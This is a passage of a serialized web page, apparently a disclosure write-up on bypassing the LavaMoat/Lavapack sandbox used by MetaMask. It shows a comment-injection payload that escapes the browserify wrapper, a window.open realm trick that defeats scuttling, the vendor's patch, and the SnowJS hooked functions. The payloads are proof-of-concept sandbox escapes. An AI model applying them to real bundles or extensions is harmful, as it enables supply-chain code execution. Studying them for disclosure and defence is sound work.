convertSourceMap",{"type":25,"tag":216,"props":52636,"children":52637},{"style":6958},[52638],{"type":31,"value":179},{"type":25,"tag":216,"props":52640,"children":52641},{"style":7041},[52642],{"type":31,"value":52643},"fromSource",{"type":25,"tag":216,"props":52645,"children":52646},{"style":6958},[52647],{"type":31,"value":1844},{"type":25,"tag":216,"props":52649,"children":52650},{"style":6941},[52651],{"type":31,"value":41971},{"type":25,"tag":216,"props":52653,"children":52654},{"style":6958},[52655],{"type":31,"value":7101},{"type":25,"tag":216,"props":52657,"children":52658},{"class":6916,"line":6772},[52659],{"type":25,"tag":216,"props":52660,"children":52661},{"style":6921},[52662],{"type":31,"value":52663},"  // if (!converter) throw new Error('Unable to find original inlined sourcemap')\n",{"type":25,"tag":216,"props":52665,"children":52666},{"class":6916,"line":6999},[52667,52671,52676,52680,52684,52688,52692,52696,52701],{"type":25,"tag":216,"props":52668,"children":52669},{"style":6930},[52670],{"type":31,"value":40145},{"type":25,"tag":216,"props":52672,"children":52673},{"style":6941},[52674],{"type":31,"value":52675}," maps",{"type":25,"tag":216,"props":52677,"children":52678},{"style":6947},[52679],{"type":31,"value":6950},{"type":25,"tag":216,"props":52681,"children":52682},{"style":6941},[52683],{"type":31,"value":52625},{"type":25,"tag":216,"props":52685,"children":52686},{"style":6947},[52687],{"type":31,"value":18136},{"type":25,"tag":216,"props":52689,"children":52690},{"style":6941},[52691],{"type":31,"value":52625},{"type":25,"tag":216,"props":52693,"children":52694},{"style":6958},[52695],{"type":31,"value":179},{"type":25,"tag":216,"props":52697,"children":52698},{"style":7041},[52699],{"type":31,"value":52700},"toObject",{"type":25,"tag":216,"props":52702,"children":52703},{"style":6958},[52704],{"type":31,"value":11681},{"type":25,"tag":216,"props":52706,"children":52707},{"class":6916,"line":7104},[52708,52712,52717,52721,52725,52729,52734,52738,52742],{"type":25,"tag":216,"props":52709,"children":52710},{"style":6930},[52711],{"type":31,"value":40145},{"type":25,"tag":216,"props":52713,"children":52714},{"style":6941},[52715],{"type":31,"value":52716}," code",{"type":25,"tag":216,"props":52718,"children":52719},{"style":6947},[52720],{"type":31,"value":6950},{"type":25,"tag":216,"props":52722,"children":52723},{"style":6941},[52724],{"type":31,"value":52634},{"type":25,"tag":216,"props":52726,"children":52727},{"style":6958},[52728],{"type":31,"value":179},{"type":25,"tag":216,"props":52730,"children":52731},{"style":7041},[52732],{"type":31,"value":52733},"removeComments",{"type":25,"tag":216,"props":52735,"children":52736},{"style":6958},[52737],{"type":31,"value":1844},{"type":25,"tag":216,"props":52739,"children":52740},{"style":6941},[52741],{"type":31,"value":41971},{"type":25,"tag":216,"props":52743,"children":52744},{"style":6958},[52745],{"type":31,"value":7101},{"type":25,"tag":216,"props":52747,"children":52748},{"class":6916,"line":7210},[52749,52753,52757,52761,52765,52770],{"type":25,"tag":216,"props":52750,"children":52751},{"style":6967},[52752],{"type":31,"value":43156},{"type":25,"tag":216,"props":52754,"children":52755},{"style":6958},[52756],{"type":31,"value":13536},{"type":25,"tag":216,"props":52758,"children":52759},{"style":6941},[52760],{"type":31,"value":82},{"type":25,"tag":216,"props":52762,"children":52763},{"style":6958},[52764],{"type":31,"value":7020},{"type":25,"tag":216,"props":52766,"children":52767},{"style":6941},[52768],{"type":31,"value":52769},"maps",{"type":25,"tag":216,"props":52771,"children":52772},{"style":6958},[52773],{"type":31,"value":13546},{"type":25,"tag":216,"props":52775,"children":52776},{"class":6916,"line":7238},[52777],{"type":25,"tag":216,"props":52778,"children":52779},{"style":6958},[52780],{"type":31,"value":7868},{"type":25,"tag":38,"props":52782,"children":52783},{},[52784,52786,52791,52793,52798],{"type":31,"value":52785},"This code removes the source map comments of the source code, meaning that there actually is a modification of source code in Lavapack after the ",{"type":25,"tag":82,"props":52787,"children":52789},{"className":52788},[],[52790],{"type":31,"value":52228},{"type":31,"value":52792}," stage. Reviewing the ",{"type":25,"tag":82,"props":52794,"children":52796},{"className":52795},[],[52797],{"type":31,"value":52580},{"type":31,"value":52799}," code, we can see exactly how this happens.",{"type":25,"tag":206,"props":52801,"children":52803},{"className":35319,"code":52802,"language":35321,"meta":7,"style":7},"Object.defineProperty(exports, 'commentRegex', {\n  get: function getCommentRegex () {\n    // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n    return /^\\s*?\\/[\\/\\*][@#]\\s+?sourceMappingURL=data:(((?:application|text)\\/json)(?:;charset=([^;,]+?)?)?)?(?:;(base64))?,(.*?)$/mg;\n  }\n});\n\nexports.removeComments = function (src) {\n  return src.replace(exports.commentRegex, '');\n};\n",[52804],{"type":25,"tag":82,"props":52805,"children":52806},{"__ignoreMap":7},[52807,52846,52872,52880,53094,53101,53108,53115,53150,53200],{"type":25,"tag":216,"props":52808,"children":52809},{"class":6916,"line":6917},[52810,52815,52819,52824,52828,52832,52836,52841],{"type":25,"tag":216,"props":52811,"children":52812},{"style":6941},[52813],{"type":31,"value":52814},"Object",{"type":25,"tag":216,"props":52816,"children":52817},{"style":6958},[52818],{"type":31,"value":179},{"type":25,"tag":216,"props":52820,"children":52821},{"style":7041},[52822],{"type":31,"value":52823},"defineProperty",{"type":25,"tag":216,"props":52825,"children":52826},{"style":6958},[52827],{"type":31,"value":1844},{"type":25,"tag":216,"props":52829,"children":52830},{"style":7369},[52831],{"type":31,"value":41843},{"type":25,"tag":216,"props":52833,"children":52834},{"style":6958},[52835],{"type":31,"value":7020},{"type":25,"tag":216,"props":52837,"children":52838},{"style":8199},[52839],{"type":31,"value":52840},"'commentRegex'",{"type":25,"tag":216,"props":52842,"children":52843},{"style":6958},[52844],{"type":31,"value":52845},", {\n",{"type":25,"tag":216,"props":52847,"children":52848},{"class":6916,"line":6763},[52849,52854,52858,52862,52867],{"type":25,"tag":216,"props":52850,"children":52851},{"style":7041},[52852],{"type":31,"value":52853},"  get",{"type":25,"tag":216,"props":52855,"children":52856},{"style":6941},[52857],{"type":31,"value":1466},{"type":25,"tag":216,"props":52859,"children":52860},{"style":6930},[52861],{"type":31,"value":42171},{"type":25,"tag":216,"props":52863,"children":52864},{"style":7041},[52865],{"type":31,"value":52866}," getCommentRegex",{"type":25,"tag":216,"props":52868,"children":52869},{"style":6958},[52870],{"type":31,"value":52871}," () {\n",{"type":25,"tag":216,"props":52873,"children":52874},{"class":6916,"line":6772},[52875],{"type":25,"tag":216,"props":52876,"children":52877},{"style":6921},[52878],{"type":31,"value":52879},"    // Groups: 1: media type, 2: MIME type, 3: charset, 4: encoding, 5: data.\n",{"type":25,"tag":216,"props":52881,"children":52882},{"class":6916,"line":6999},[52883,52887,52893,52898,52903,52908,52912,52917,52922,52927,52931,52935,52940,52945,52950,52955,52959,52963,52967,52972,52976,52981,52986,52991,52996,53000,53004,53008,53012,53016,53020,53024,53028,53033,53038,53042,53047,53052,53056,53060,53064,53068,53073,53077,53081,53085,53090],{"type":25,"tag":216,"props":52884,"children":52885},{"style":6967},[52886],{"type":31,"value":20941},{"type":25,"tag":216,"props":52888,"children":52890},{"style":52889},"--shiki-default:#D16969",[52891],{"type":31,"value":52892}," /",{"type":25,"tag":216,"props":52894,"children":52895},{"style":7041},[52896],{"type":31,"value":52897},"^",{"type":25,"tag":216,"props":52899,"children":52900},{"style":52889},[52901],{"type":31,"value":52902},"\\s",{"type":25,"tag":216,"props":52904,"children":52905},{"style":52336},[52906],{"type":31,"value":52907},"*?\\/",{"type":25,"tag":216,"props":52909,"children":52910},{"style":8199},[52911],{"type":31,"value":7695},{"type":25,"tag":216,"props":52913,"children":52914},{"style":52336},[52915],{"type":31,"value":52916},"\\/\\*",{"type":25,"tag":216,"props":52918,"children":52919},{"style":8199},[52920],{"type":31,"value":52921},"][",{"type":25,"tag":216,"props":52923,"children":52924},{"style":52889},[52925],{"type":31,"value":52926},"@#",{"type":25,"tag":216,"props":52928,"children":52929},{"style":8199},[52930],{"type":31,"value":19362},{"type":25,"tag":216,"props":52932,"children":52933},{"style":52889},[52934],{"type":31,"value":52902},{"type":25,"tag":216,"props":52936,"children":52937},{"style":52336},[52938],{"type":31,"value":52939},"+?",{"type":25,"tag":216,"props":52941,"children":52942},{"style":52889},[52943],{"type":31,"value":52944},"sourceMappingURL=data:",{"type":25,"tag":216,"props":52946,"children":52947},{"style":8199},[52948],{"type":31,"value":52949},"(((?:",{"type":25,"tag":216,"props":52951,"children":52952},{"style":52889},[52953],{"type":31,"value":52954},"application",{"type":25,"tag":216,"props":52956,"children":52957},{"style":7041},[52958],{"type":31,"value":14367},{"type":25,"tag":216,"props":52960,"children":52961},{"style":52889},[52962],{"type":31,"value":31},{"type":25,"tag":216,"props":52964,"children":52965},{"style":8199},[52966],{"type":31,"value":1882},{"type":25,"tag":216,"props":52968,"children":52969},{"style":52336},[52970],{"type":31,"value":52971},"\\/",{"type":25,"tag":216,"props":52973,"children":52974},{"style":52889},[52975],{"type":31,"value":37954},{"type":25,"tag":216,"props":52977,"children":52978},{"style":8199},[52979],{"type":31,"value":52980},")(?:",{"type":25,"tag":216,"props":52982,"children":52983},{"style":52889},[52984],{"type":31,"value":52985},";charset=",{"type":25,"tag":216,"props":52987,"children":52988},{"style":8199},[52989],{"type":31,"value":52990},"([^",{"type":25,"tag":216,"props":52992,"children":52993},{"style":52889},[52994],{"type":31,"value":52995},";,",{"type":25,"tag":216,"props":52997,"children":52998},{"style":8199},[52999],{"type":31,"value":19362},{"type":25,"tag":216,"props":53001,"children":53002},{"style":52336},[53003],{"type":31,"value":52939},{"type":25,"tag":216,"props":53005,"children":53006},{"style":8199},[53007],{"type":31,"value":1882},{"type":25,"tag":216,"props":53009,"children":53010},{"style":52336},[53011],{"type":31,"value":605},{"type":25,"tag":216,"props":53013,"children":53014},{"style":8199},[53015],{"type":31,"value":1882},{"type":25,"tag":216,"props":53017,"children":53018},{"style":52336},[53019],{"type":31,"value":605},{"type":25,"tag":216,"props":53021,"children":53022},{"style":8199},[53023],{"type":31,"value":1882},{"type":25,"tag":216,"props":53025,"children":53026},{"style":52336},[53027],{"type":31,"value":605},{"type":25,"tag":216,"props":53029,"children":53030},{"style":8199},[53031],{"type":31,"value":53032},"(?:",{"type":25,"tag":216,"props":53034,"children":53035},{"style":52889},[53036],{"type":31,"value":53037},";",{"type":25,"tag":216,"props":53039,"children":53040},{"style":8199},[53041],{"type":31,"value":1844},{"type":25,"tag":216,"props":53043,"children":53044},{"style":52889},[53045],{"type":31,"value":53046},"base64",{"type":25,"tag":216,"props":53048,"children":53049},{"style":8199},[53050],{"type":31,"value":53051},"))",{"type":25,"tag":216,"props":53053,"children":53054},{"style":52336},[53055],{"type":31,"value":605},{"type":25,"tag":216,"props":53057,"children":53058},{"style":52889},[53059],{"type":31,"value":1861},{"type":25,"tag":216,"props":53061,"children":53062},{"style":8199},[53063],{"type":31,"value":1844},{"type":25,"tag":216,"props":53065,"children":53066},{"style":52889},[53067],{"type":31,"value":179},{"type":25,"tag":216,"props":53069,"children":53070},{"style":52336},[53071],{"type":31,"value":53072},"*?",{"type":25,"tag":216,"props":53074,"children":53075},{"style":8199},[53076],{"type":31,"value":1882},{"type":25,"tag":216,"props":53078,"children":53079},{"style":7041},[53080],{"type":31,"value":14239},{"type":25,"tag":216,"props":53082,"children":53083},{"style":52889},[53084],{"type":31,"value":5749},{"type":25,"tag":216,"props":53086,"children":53087},{"style":6930},[53088],{"type":31,"value":53089},"mg",{"type":25,"tag":216,"props":53091,"children":53092},{"style":6958},[53093],{"type":31,"value":6961},{"type":25,"tag":216,"props":53095,"children":53096},{"class":6916,"line":7104},[53097],{"type":25,"tag":216,"props":53098,"children":53099},{"style":6958},[53100],{"type":31,"value":9817},{"type":25,"tag":216,"props":53102,"children":53103},{"class":6916,"line":7210},[53104],{"type":25,"tag":216,"props":53105,"children":53106},{"style":6958},[53107],{"type":31,"value":39295},{"type":25,"tag":216,"props":53109,"children":53110},{"class":6916,"line":7238},[53111],{"type":25,"tag":216,"props":53112,"children":53113},{"emptyLinePlaceholder":16},[53114],{"type":31,"value":7636},{"type":25,"tag":216,"props":53116,"children":53117},{"class":6916,"line":7251},[53118,53122,53126,53130,53134,53138,53142,53146],{"type":25,"tag":216,"props":53119,"children":53120},{"style":7369},[53121],{"type":31,"value":41843},{"type":25,"tag":216,"props":53123,"children":53124},{"style":6958},[53125],{"type":31,"value":179},{"type":25,"tag":216,"props":53127,"children":53128},{"style":7041},[53129],{"type":31,"value":52733},{"type":25,"tag":216,"props":53131,"children":53132},{"style":6947},[53133],{"type":31,"value":6950},{"type":25,"tag":216,"props":53135,"children":53136},{"style":6930},[53137],{"type":31,"value":42171},{"type":25,"tag":216,"props":53139,"children":53140},{"style":6958},[53141],{"type":31,"value":7010},{"type":25,"tag":216,"props":53143,"children":53144},{"style":6941},[53145],{"type":31,"value":36626},{"type":25,"tag":216,"props":53147,"children":53148},{"style":6958},[53149],{"type":31,"value":18755},{"type":25,"tag":216,"props":53151,"children":53152},{"class":6916,"line":7269},[53153,53157,53161,53165,53170,53174,53178,53182,53187,53191,53196],{"type":25,"tag":216,"props":53154,"children":53155},{"style":6967},[53156],{"type":31,"value":43156},{"type":25,"tag":216,"props":53158,"children":53159},{"style":6941},[53160],{"type":31,"value":52324},{"type":25,"tag":216,"props":53162,"children":53163},{"style":6958},[53164],{"type":31,"value":179},{"type":25,"tag":216,"props":53166,"children":53167},{"style":7041},[53168],{"type":31,"value":53169},"replace",{"type":25,"tag":216,"props":53171,"children":53172},{"style":6958},[53173],{"type":31,"value":1844},{"type":25,"tag":216,"props":53175,"children":53176},{"style":7369},[53177],{"type":31,"value":41843},{"type":25,"tag":216,"props":53179,"children":53180},{"style":6958},[53181],{"type":31,"value":179},{"type":25,"tag":216,"props":53183,"children":53184},{"style":6941},[53185],{"type":31,"value":53186},"commentRegex",{"type":25,"tag":216,"props":53188,"children":53189},{"style":6958},[53190],{"type":31,"value":7020},{"type":25,"tag":216,"props":53192,"children":53193},{"style":8199},[53194],{"type":31,"value":53195},"''",{"type":25,"tag":216,"props":53197,"children":53198},{"style":6958},[53199],{"type":31,"value":7791},{"type":25,"tag":216,"props":53201,"children":53202},{"class":6916,"line":7290},[53203],{"type":25,"tag":216,"props":53204,"children":53205},{"style":6958},[53206],{"type":31,"value":20530},{"type":25,"tag":38,"props":53208,"children":53209},{},[53210,53212,53218],{"type":31,"value":53211},"Looking deeper at the RegEx, it matches the start of the multiple line comment (",{"type":25,"tag":82,"props":53213,"children":53215},{"className":53214},[],[53216],{"type":31,"value":53217},"/*",{"type":31,"value":53219},") but doesn't match the end of it, meaning that the syntax would break in the case of multiline source map comments.",{"type":25,"tag":607,"props":53221,"children":53223},{"id":53222},"the-bypass",[53224],{"type":31,"value":53225},"The Bypass",{"type":25,"tag":38,"props":53227,"children":53228},{},[53229,53231,53236,53238,53243],{"type":31,"value":53230},"By abusing the ",{"type":25,"tag":82,"props":53232,"children":53234},{"className":53233},[],[53235],{"type":31,"value":52733},{"type":31,"value":53237}," function, we could bypass the Lavamoat restrictions by escaping the ",{"type":25,"tag":82,"props":53239,"children":53241},{"className":53240},[],[53242],{"type":31,"value":52077},{"type":31,"value":53244}," sandbox. To do so, we created a multiline source map comment, and injected the invalid javascript inside the comment:",{"type":25,"tag":206,"props":53246,"children":53248},{"className":35319,"code":53247,"language":35321,"meta":7,"style":7},"/*# sourceMappingURL=data:,{}\n\n}}}}\n}, {\n    package: \"xpl\",\n    file: \"node_modules/xpl/index.js\",\n    test: alert(document.domain),\n    test1: () => { () => { () => { () => {\n\n/*\n*/\n",[53249],{"type":25,"tag":82,"props":53250,"children":53251},{"__ignoreMap":7},[53252,53260,53267,53275,53283,53291,53299,53307,53315,53322,53330],{"type":25,"tag":216,"props":53253,"children":53254},{"class":6916,"line":6917},[53255],{"type":25,"tag":216,"props":53256,"children":53257},{"style":6921},[53258],{"type":31,"value":53259},"/*# sourceMappingURL=data:,{}\n",{"type":25,"tag":216,"props":53261,"children":53262},{"class":6916,"line":6763},[53263],{"type":25,"tag":216,"props":53264,"children":53265},{"emptyLinePlaceholder":16},[53266],{"type":31,"value":7636},{"type":25,"tag":216,"props":53268,"children":53269},{"class":6916,"line":6772},[53270],{"type":25,"tag":216,"props":53271,"children":53272},{"style":6921},[53273],{"type":31,"value":53274},"}}}}\n",{"type":25,"tag":216,"props":53276,"children":53277},{"class":6916,"line":6999},[53278],{"type":25,"tag":216,"props":53279,"children":53280},{"style":6921},[53281],{"type":31,"value":53282},"}, {\n",{"type":25,"tag":216,"props":53284,"children":53285},{"class":6916,"line":7104},[53286],{"type":25,"tag":216,"props":53287,"children":53288},{"style":6921},[53289],{"type":31,"value":53290},"    package: \"xpl\",\n",{"type":25,"tag":216,"props":53292,"children":53293},{"class":6916,"line":7210},[53294],{"type":25,"tag":216,"props":53295,"children":53296},{"style":6921},[53297],{"type":31,"value":53298},"    file: \"node_modules/xpl/index.js\",\n",{"type":25,"tag":216,"props":53300,"children":53301},{"class":6916,"line":7238},[53302],{"type":25,"tag":216,"props":53303,"children":53304},{"style":6921},[53305],{"type":31,"value":53306},"    test: alert(document.domain),\n",{"type":25,"tag":216,"props":53308,"children":53309},{"class":6916,"line":7251},[53310],{"type":25,"tag":216,"props":53311,"children":53312},{"style":6921},[53313],{"type":31,"value":53314},"    test1: () => { () => { () => { () => {\n",{"type":25,"tag":216,"props":53316,"children":53317},{"class":6916,"line":7269},[53318],{"type":25,"tag":216,"props":53319,"children":53320},{"emptyLinePlaceholder":16},[53321],{"type":31,"value":7636},{"type":25,"tag":216,"props":53323,"children":53324},{"class":6916,"line":7290},[53325],{"type":25,"tag":216,"props":53326,"children":53327},{"style":6921},[53328],{"type":31,"value":53329},"/*\n",{"type":25,"tag":216,"props":53331,"children":53332},{"class":6916,"line":7299},[53333],{"type":25,"tag":216,"props":53334,"children":53335},{"style":6921},[53336],{"type":31,"value":53337},"*/\n",{"type":25,"tag":38,"props":53339,"children":53340},{},[53341],{"type":31,"value":53342},"This allows malicious code to execute without breaking any other package or feature. This payload also makes the supply chain attack more impactful. Any injected code is executed as soon as the bundle file is imported.",{"type":25,"tag":607,"props":53344,"children":53346},{"id":53345},"lavapack-patch",[53347],{"type":31,"value":53348},"Lavapack Patch",{"type":25,"tag":38,"props":53350,"children":53351},{},[53352,53354,53360],{"type":31,"value":53353},"Metamask mitigated the issues we reported on Lavapack by defining ",{"type":25,"tag":82,"props":53355,"children":53357},{"className":53356},[],[53358],{"type":31,"value":53359},"assertValidJS",{"type":31,"value":53361},", an independent check that differs from the browserify syntax check we used to exploit the issue.",{"type":25,"tag":38,"props":53363,"children":53364},{},[53365,53367,53374],{"type":31,"value":53366},"The patch was introduced in commit ",{"type":25,"tag":162,"props":53368,"children":53371},{"href":53369,"rel":53370},"https://github.com/LavaMoat/LavaMoat/commit/9c38cd47e7875dde53349dd34971c74ce34004d9",[166],[53372],{"type":31,"value":53373},"9c38cd4",{"type":31,"value":179},{"type":25,"tag":206,"props":53376,"children":53378},{"className":44318,"code":53377,"language":44320,"meta":7,"style":7},"+ function assertValidJS(code) {\n+  try {\n+    new Function(code)\n+  } catch (err) {\n+    throw new Error(`Invalid JavaScript: ${err.message}`)\n+  }\n+ }\n\n+  // additional layer of syntax checking independent of browserify\n+  assertValidJS(sourceMeta.code) \n\n",[53379],{"type":25,"tag":82,"props":53380,"children":53381},{"__ignoreMap":7},[53382,53390,53398,53406,53414,53422,53430,53438,53445,53453],{"type":25,"tag":216,"props":53383,"children":53384},{"class":6916,"line":6917},[53385],{"type":25,"tag":216,"props":53386,"children":53387},{"style":6983},[53388],{"type":31,"value":53389},"+ function assertValidJS(code) {\n",{"type":25,"tag":216,"props":53391,"children":53392},{"class":6916,"line":6763},[53393],{"type":25,"tag":216,"props":53394,"children":53395},{"style":6983},[53396],{"type":31,"value":53397},"+  try {\n",{"type":25,"tag":216,"props":53399,"children":53400},{"class":6916,"line":6772},[53401],{"type":25,"tag":216,"props":53402,"children":53403},{"style":6983},[53404],{"type":31,"value":53405},"+    new Function(code)\n",{"type":25,"tag":216,"props":53407,"children":53408},{"class":6916,"line":6999},[53409],{"type":25,"tag":216,"props":53410,"children":53411},{"style":6983},[53412],{"type":31,"value":53413},"+  } catch (err) {\n",{"type":25,"tag":216,"props":53415,"children":53416},{"class":6916,"line":7104},[53417],{"type":25,"tag":216,"props":53418,"children":53419},{"style":6983},[53420],{"type":31,"value":53421},"+    throw new Error(`Invalid JavaScript: ${err.message}`)\n",{"type":25,"tag":216,"props":53423,"children":53424},{"class":6916,"line":7210},[53425],{"type":25,"tag":216,"props":53426,"children":53427},{"style":6983},[53428],{"type":31,"value":53429},"+  }\n",{"type":25,"tag":216,"props":53431,"children":53432},{"class":6916,"line":7238},[53433],{"type":25,"tag":216,"props":53434,"children":53435},{"style":6983},[53436],{"type":31,"value":53437},"+ }\n",{"type":25,"tag":216,"props":53439,"children":53440},{"class":6916,"line":7251},[53441],{"type":25,"tag":216,"props":53442,"children":53443},{"emptyLinePlaceholder":16},[53444],{"type":31,"value":7636},{"type":25,"tag":216,"props":53446,"children":53447},{"class":6916,"line":7269},[53448],{"type":25,"tag":216,"props":53449,"children":53450},{"style":6983},[53451],{"type":31,"value":53452},"+  // additional layer of syntax checking independent of browserify\n",{"type":25,"tag":216,"props":53454,"children":53455},{"class":6916,"line":7290},[53456],{"type":25,"tag":216,"props":53457,"children":53458},{"style":6983},[53459],{"type":31,"value":53460},"+  assertValidJS(sourceMeta.code)\n",{"type":25,"tag":26,"props":53462,"children":53464},{"id":53463},"hacking-js-realms",[53465],{"type":31,"value":53466},"Hacking JS Realms",{"type":25,"tag":38,"props":53468,"children":53469},{},[53470,53472,53477],{"type":31,"value":53471},"Lavamoat scuttling removes unnecessary and dangerous attributes from the ",{"type":25,"tag":82,"props":53473,"children":53475},{"className":53474},[],[53476],{"type":31,"value":41374},{"type":31,"value":53478}," object. However, this can be easily bypassed when Lavamoat is running in a browser context.",{"type":25,"tag":206,"props":53480,"children":53482},{"className":35319,"code":53481,"language":35321,"meta":7,"style":7},"const w = window.open('/non_existent');\nw.alert(document.domain)\n",[53483],{"type":25,"tag":82,"props":53484,"children":53485},{"__ignoreMap":7},[53486,53528],{"type":25,"tag":216,"props":53487,"children":53488},{"class":6916,"line":6917},[53489,53493,53498,53502,53506,53510,53515,53519,53524],{"type":25,"tag":216,"props":53490,"children":53491},{"style":6930},[53492],{"type":31,"value":13605},{"type":25,"tag":216,"props":53494,"children":53495},{"style":6941},[53496],{"type":31,"value":53497}," w",{"type":25,"tag":216,"props":53499,"children":53500},{"style":6947},[53501],{"type":31,"value":6950},{"type":25,"tag":216,"props":53503,"children":53504},{"style":6941},[53505],{"type":31,"value":35364},{"type":25,"tag":216,"props":53507,"children":53508},{"style":6958},[53509],{"type":31,"value":179},{"type":25,"tag":216,"props":53511,"children":53512},{"style":7041},[53513],{"type":31,"value":53514},"open",{"type":25,"tag":216,"props":53516,"children":53517},{"style":6958},[53518],{"type":31,"value":1844},{"type":25,"tag":216,"props":53520,"children":53521},{"style":8199},[53522],{"type":31,"value":53523},"'/non_existent'",{"type":25,"tag":216,"props":53525,"children":53526},{"style":6958},[53527],{"type":31,"value":7791},{"type":25,"tag":216,"props":53529,"children":53530},{"class":6916,"line":6763},[53531,53535,53539,53543,53547,53551,53555,53559],{"type":25,"tag":216,"props":53532,"children":53533},{"style":6941},[53534],{"type":31,"value":2464},{"type":25,"tag":216,"props":53536,"children":53537},{"style":6958},[53538],{"type":31,"value":179},{"type":25,"tag":216,"props":53540,"children":53541},{"style":7041},[53542],{"type":31,"value":36654},{"type":25,"tag":216,"props":53544,"children":53545},{"style":6958},[53546],{"type":31,"value":1844},{"type":25,"tag":216,"props":53548,"children":53549},{"style":6941},[53550],{"type":31,"value":36664},{"type":25,"tag":216,"props":53552,"children":53553},{"style":6958},[53554],{"type":31,"value":179},{"type":25,"tag":216,"props":53556,"children":53557},{"style":6941},[53558],{"type":31,"value":36674},{"type":25,"tag":216,"props":53560,"children":53561},{"style":6958},[53562],{"type":31,"value":7101},{"type":25,"tag":38,"props":53564,"children":53565},{},[53566,53568,53573],{"type":31,"value":53567},"This opens a new window with a new JS Realm (another ",{"type":25,"tag":82,"props":53569,"children":53571},{"className":53570},[],[53572],{"type":31,"value":41374},{"type":31,"value":53574}," object), and uses it to execute code in the context of the scuttled window. Note that the window needs to be same-origin and must not be scuttled.",{"type":25,"tag":38,"props":53576,"children":53577},{},[53578,53580,53587],{"type":31,"value":53579},"As a mitigation, some applications integrate SnowJS with scuttling, so every new same-origin window and iframe will be detected and scuttled (check the ",{"type":25,"tag":162,"props":53581,"children":53584},{"href":53582,"rel":53583},"https://github.com/MetaMask/metamask-extension/blob/3996f505a6a156d96077acb49579e6fc9e78cd45/app/scripts/use-snow.js#L22",[166],[53585],{"type":31,"value":53586},"Metamask implementation",{"type":31,"value":1882},{"type":25,"tag":607,"props":53589,"children":53591},{"id":53590},"snowjs-attack-surface",[53592],{"type":31,"value":53593},"SnowJS Attack Surface",{"type":25,"tag":38,"props":53595,"children":53596},{},[53597],{"type":31,"value":53598},"SnowJS is a javascript sandbox implementation that secures same-origin realms in browser applications. It is configured to detect new realms and attach them to the sandbox.",{"type":25,"tag":38,"props":53600,"children":53601},{},[53602,53604,53611],{"type":31,"value":53603},"As a mechanism, it hooks functions that can be used to create realms (an iframe, for example). For example, here are some of the ",{"type":25,"tag":162,"props":53605,"children":53608},{"href":53606,"rel":53607},"https://github.com/LavaMoat/snow/blob/ecf1add05c774b90b8baeff934b2e40585e13ca4/src/inserters.js#L9",[166],[53609],{"type":31,"value":53610},"hooked inserters",{"type":31,"value":53612}," functions:",{"type":25,"tag":206,"props":53614,"children":53616},{"className":35319,"code":53615,"language":35321,"meta":7,"style":7},"const map = {\n    Range: ['insertNode'],\n    DocumentFragment: ['replaceChildren', 'append', 'prepend'],\n    Document: ['replaceChildren', 'append', 'prepend', 'write', 'writeln'],\n    Node: ['appendChild', 'insertBefore', 'replaceChild'],\n    Element: ['innerHTML', 'outerHTML', 'insertAdjacentHTML', 'replaceWith', 'insertAdjacentElement', 'append', 'before', 'prepend', 'after', 'replaceChildren'],\n    ShadowRoot: ['innerHTML'],\n    HTMLIFrameElement: ['srcdoc'],\n};\n",[53617],{"type":25,"tag":82,"props":53618,"children":53619},{"__ignoreMap":7},[53620,53640,53661,53700,53754,53793,53892,53912,53933],{"type":25,"tag":216,"props":53621,"children":53622},{"class":6916,"line":6917},[53623,53627,53632,53636],{"type":25,"tag":216,"props":53624,"children":53625},{"style":6930},[53626],{"type":31,"value":13605},{"type":25,"tag":216,"props":53628,"children":53629},{"style":6941},[53630],{"type":31,"value":53631}," map",{"type":25,"tag":216,"props":53633,"children":53634},{"style":6947},[53635],{"type":31,"value":6950},{"type":25,"tag":216,"props":53637,"children":53638},{"style":6958},[53639],{"type":31,"value":7235},{"type":25,"tag":216,"props":53641,"children":53642},{"class":6916,"line":6763},[53643,53648,53652,53657],{"type":25,"tag":216,"props":53644,"children":53645},{"style":6941},[53646],{"type":31,"value":53647},"    Range:",{"type":25,"tag":216,"props":53649,"children":53650},{"style":6958},[53651],{"type":31,"value":26972},{"type":25,"tag":216,"props":53653,"children":53654},{"style":8199},[53655],{"type":31,"value":53656},"'insertNode'",{"type":25,"tag":216,"props":53658,"children":53659},{"style":6958},[53660],{"type":31,"value":18214},{"type":25,"tag":216,"props":53662,"children":53663},{"class":6916,"line":6772},[53664,53669,53673,53678,53682,53687,53691,53696],{"type":25,"tag":216,"props":53665,"children":53666},{"style":6941},[53667],{"type":31,"value":53668},"    DocumentFragment:",{"type":25,"tag":216,"props":53670,"children":53671},{"style":6958},[53672],{"type":31,"value":26972},{"type":25,"tag":216,"props":53674,"children":53675},{"style":8199},[53676],{"type":31,"value":53677},"'replaceChildren'",{"type":25,"tag":216,"props":53679,"children":53680},{"style":6958},[53681],{"type":31,"value":7020},{"type":25,"tag":216,"props":53683,"children":53684},{"style":8199},[53685],{"type":31,"value":53686},"'append'",{"type":25,"tag":216,"props":53688,"children":53689},{"style":6958},[53690],{"type":31,"value":7020},{"type":25,"tag":216,"props":53692,"children":53693},{"style":8199},[53694],{"type":31,"value":53695},"'prepend'",{"type":25,"tag":216,"props":53697,"children":53698},{"style":6958},[53699],{"type":31,"value":18214},{"type":25,"tag":216,"props":53701,"children":53702},{"class":6916,"line":6999},[53703,53708,53712,53716,53720,53724,53728,53732,53736,53741,53745,53750],{"type":25,"tag":216,"props":53704,"children":53705},{"style":6941},[53706],{"type":31,"value":53707},"    Document:",{"type":25,"tag":216,"props":53709,"children":53710},{"style":6958},[53711],{"type":31,"value":26972},{"type":25,"tag":216,"props":53713,"children":53714},{"style":8199},[53715],{"type":31,"value":53677},{"type":25,"tag":216,"props":53717,"children":53718},{"style":6958},[53719],{"type":31,"value":7020},{"type":25,"tag":216,"props":53721,"children":53722},{"style":8199},[53723],{"type":31,"value":53686},{"type":25,"tag":216,"props":53725,"children":53726},{"style":6958},[53727],{"type":31,"value":7020},{"type":25,"tag":216,"props":53729,"children":53730},{"style":8199},[53731],{"type":31,"value":53695},{"type":25,"tag":216,"props":53733,"children":53734},{"style":6958},[53735],{"type":31,"value":7020},{"type":25,"tag":216,"props":53737,"children":53738},{"style":8199},[53739],{"type":31,"value":53740},"'write'",{"type":25,"tag":216,"props":53742,"children":53743},{"style":6958},[53744],{"type":31,"value":7020},{"type":25,"tag":216,"props":53746,"children":53747},{"style":8199},[53748],{"type":31,"value":53749},"'writeln'",{"type":25,"tag":216,"props":53751,"children":53752},{"style":6958},[53753],{"type":31,"value":18214},{"type":25,"tag":216,"props":53755,"children":53756},{"class":6916,"line":7104},[53757,53762,53766,53771,53775,53780,53784,53789],{"type":25,"tag":216,"props":53758,"